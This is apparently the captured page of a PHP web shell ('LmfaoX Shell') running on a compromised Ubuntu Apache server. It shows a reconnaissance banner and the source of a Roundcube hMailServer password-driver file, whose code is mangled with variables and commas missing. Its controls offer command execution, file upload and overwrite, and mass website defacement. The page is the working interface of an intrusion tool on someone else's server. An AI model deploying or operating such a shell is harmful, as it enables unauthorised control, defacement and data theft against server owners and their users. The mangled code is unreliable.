ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.21 GB of 70.42 GB (35.8%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ plugins/ password/ drivers/ - drwxr-xr-x

Directory:
Viewing file:     hmail.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * hMailserver password driver
 *
 * @version 2.0
 * @author Roland 'rosali' Liebl <myroundcube@mail4us.net>
 */

class rcube_hmail_password
{
    public function 
save($curpass$passwd)
    {
        
$rcmail rcmail::get_instance();

        if (
$curpass == '' || $passwd == '') {
            return 
PASSWORD_ERROR;
        }

        try {
            
$remote $rcmail->config->get('hmailserver_remote_dcom'false);
            if (
$remote)
                
$obApp = new COM("hMailServer.Application"$rcmail->config->get('hmailserver_server'));
            else
                
$obApp = new COM("hMailServer.Application");
        }
        catch (
Exception $e) {
            
rcube::write_log('errors'"Plugin password (hmail driver): " trim(strip_tags($e->getMessage())));
            
rcube::write_log('errors'"Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");
            return 
PASSWORD_ERROR;
        }

        
$username $rcmail->user->data['username'];
        if (
strstr($username,'@')){
            
$temparr explode('@'$username);
            
$domain $temparr[1];
        }
        else {
            
$domain $rcmail->config->get('username_domain',false);
            if (!
$domain) {
                
rcube::write_log('errors','Plugin password (hmail driver): $config[\'username_domain\'] is not defined.');
                return 
PASSWORD_ERROR;
            }
            
$username $username "@" $domain;
        }

        
$obApp->Authenticate($username$curpass);
        try {
            
$obDomain $obApp->Domains->ItemByName($domain);
            
$obAccount $obDomain->Accounts->ItemByAddress($username);
            
$obAccount->Password $passwd;
            
$obAccount->Save();
            return 
PASSWORD_SUCCESS;
        }
        catch (
Exception $e) {
            
rcube::write_log('errors'"Plugin password (hmail driver): " trim(strip_tags($e->getMessage())));
            
rcube::write_log('errors'"Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");
            return 
PASSWORD_ERROR;
        }
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2124 seconds